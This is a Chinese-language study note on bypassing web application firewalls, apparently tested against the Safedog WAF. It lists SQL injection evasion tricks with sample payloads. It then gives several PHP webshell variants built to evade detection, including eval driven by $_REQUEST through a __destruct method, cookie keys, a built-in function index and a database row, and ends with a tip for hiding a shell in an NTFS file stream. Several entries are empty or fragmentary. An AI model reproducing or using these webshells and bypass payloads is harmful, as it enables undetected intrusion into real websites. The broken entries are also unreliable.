注意:仅用于本人学习的笔记记录,禁止进行传播分享,一旦造成严重后果与本人无关!!!
WAF:
web应用防护系统(网站应用级防御系统)
waf会拦截恶意传参,但并不是所有的拦截都是waf干的
硬件waf、软件waf、云waf
WAF检测机制的核心就是正则表达式
测试环境
系统:win2008R2
最新版安全狗:

一、常见绕WAF手法
Bypass SQL
1、大小写绕过(很老的waf才有用)
2、替换绕过
3、特殊字符绕过(%0a换行) \sleep() \updataxml()
4、编码绕过(利用检测机制的不同,通过编码绕过)
5、等价替换(利用其他函数替换
注释 /**/ 数据库中是注释的意思
内联注释 /*!5001*/ 当数据库版本大于5001执行
6、容器特征(apche的hpp、或者是iis的%分割)
iis传参里面 s%e%l%e%c%t => select
apche参数污染,传两个参数,以后一个参数为准
id=phpinfo() /*&id=1 and 1=2-- qwe*/

7、白名单(管理员权限或者是127.0.0.1本地不拦截、文件后缀名)


8、缓冲区(数据太多超过waf检测范围)
安全狗一般检测4000个
?id= 1 /* ...... */ union select 1,2,3,4
二、绕WAF写码
Bypass webshell
1、 非常的难以置信,这个竟然没有拦截

2、

3、

4、变量覆盖绕过
$$d($_REQUEST[8]); ?>

5、函数绕过

6、魔术方法绕过
-
- class User{
- public $name;
-
- public function __destruct(){
-
- eval("$this->name");
-
- }
- }
- $user = new User();
- $user->name="$_REQUEST[8]";
- ?>

7、类方法绕过
foreach($COOKIE as $key=> $value){
if($key=='eval'){
$key($REQUEST[8])
}
}?>
8、内置函数
$a=get_defined_functions();
$a[internal][841]($_REQUEST[1])
?>
9、绕WAF终极手法,连接外部数据库hjw,获取info表中的第一行数据eval($_REQUEST[8])
eval(mysqli_fetch_assoc(mysqli_query(mysql_connect('127.0.0.1','root','root','hjw123'),'select * from info'))['info']) //键为info的地方
?>
10、拿到shell之后藏shell的妙招ntf文件流
一、echo "" >> /:123.txt
二、